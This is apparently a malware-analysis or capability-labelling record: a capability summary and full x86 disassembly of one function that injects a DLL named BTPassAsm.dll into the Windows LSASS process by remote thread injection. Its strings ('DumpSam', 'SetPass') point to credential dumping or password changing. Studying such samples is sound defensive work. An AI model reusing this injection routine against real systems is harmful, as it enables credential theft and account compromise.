Function at 0x4013e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x65c
mov eax, dword [0x4154a0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x638], 0
mov dword [ebp - 0x63c], 0
cmp dword [ebp + 0xc], 0
je 0x401429
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push str.Injecting_BTPassAsm.dll_into_LSASS_process._Input_file_is__s._Output_file_is__s
mov edx, dword [ebp + 0x18]
push edx
call section..text
add esp, 0x10
jmp 0x40143e
mov eax, dword [ebp + 0x14]
push eax
push str.Injecting_BTPassAsm.dll_into_LSASS_process._Input_file_is__s
mov ecx, dword [ebp + 0x18]
push ecx
call section..text
add esp, 0xc
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x640], eax
push str.LoadLibraryA
mov edx, dword [ebp - 0x640]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x634], eax
push str.GetProcAddress
mov eax, dword [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x630], eax
push str.FreeLibrary
mov ecx, dword [ebp - 0x640]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x62c], eax
push 0x104
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.BTPassAsm.dll
push 0x5c
lea eax, [ebp - 0x108]
push eax
call fcn.00401fb0
add esp, 8
add eax, 1
push eax
call fcn.00401be0
add esp, 8
push 0x105
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x628]
push edx
call fcn.00401e80
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10c], eax
cmp dword [ebp + 0xc], 0
je 0x401512
push 0x105
push str.DumpSam
lea ecx, [ebp - 0x523]
push ecx
call fcn.00401e80
add esp, 0xc
jmp 0x40152b
push 0x105
push str.SetPass
lea edx, [ebp - 0x523]
push edx
call fcn.00401e80
add esp, 0xc
push 0x105
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x41e]
push ecx
call fcn.00401e80
add esp, 0xc
push 0x105
mov edx, dword [ebp + 0x14]
push edx
lea eax, [ebp - 0x319]
push eax
call fcn.00401e80
add esp, 0xc
push 0x105
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x214]
push edx
call fcn.00401e80
add esp, 0xc
mov eax, 0x4012c0
cdq
mov ecx, eax
mov esi, edx
mov eax, 0x401210
cdq
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x648], ecx
mov dword [ebp - 0x64c], 0xfffffff0
mov edx, dword [ebp - 0x648]
add edx, 0x10
and edx, dword [ebp - 0x64c]
mov dword [ebp - 0x644], edx
mov eax, dword [ebp - 0x644]
add eax, 0x53c
mov dword [ebp - 0x644], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x644]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 0
jne 0x401605
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.VirtualAllocEx_failed:__d
mov eax, dword [ebp + 0x18]
push eax
call section..text
add esp, 0xc
jmp 0x401791
push str.VirtualAllocEx_successful
mov ecx, dword [ebp + 0x18]
push ecx
call section..text
add esp, 8
lea edx, [ebp - 0x654]
push edx
push 0x52c
lea eax, [ebp - 0x634]
push eax
mov ecx, dword [ebp - 0x638]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40165d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WriteProcessMemory_1_failed:__d
mov eax, dword [ebp + 0x18]
push eax
call section..text
add esp, 0xc
jmp 0x40175a
push str.WriteProcessMemory_1_successful
mov ecx, dword [ebp + 0x18]
push ecx
call section..text
add esp, 8
mov edx, dword [ebp - 0x64c]
and edx, 0x53c
mov dword [ebp - 0x658], edx
mov eax, dword [ebp - 0x638]
add eax, dword [ebp - 0x658]
mov dword [ebp - 0x650], eax
lea ecx, [ebp - 0x654]
push ecx
mov edx, dword [ebp - 0x648]
push edx
push 0x401210
mov eax, dword [ebp - 0x650]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4016d9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WriteProcessMemory_2_failed:__d
mov edx, dword [ebp + 0x18]
push edx
call section..text
add esp, 0xc
jmp 0x40175a
push str.WriteProcessMemory_2_successful
mov eax, dword [ebp + 0x18]
push eax
call section..text
add esp, 8
lea ecx, [ebp - 0x65c]
push ecx
push 0
mov edx, dword [ebp - 0x638]
push edx
mov eax, dword [ebp - 0x650]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 0
jne 0x40173a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateRemoteThread_failed:__d
mov edx, dword [ebp + 0x18]
push edx
call section..text
add esp, 0xc
jmp 0x40175a
push str.CreateRemoteThread_successful
mov eax, dword [ebp + 0x18]
push eax
call section..text
add esp, 8
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x63c], 0
je 0x401770
mov edx, dword [ebp - 0x63c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x638], 0
je 0x401791
push 0x8000
push 0
mov eax, dword [ebp - 0x638]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402451
mov esp, ebp
pop ebp
ret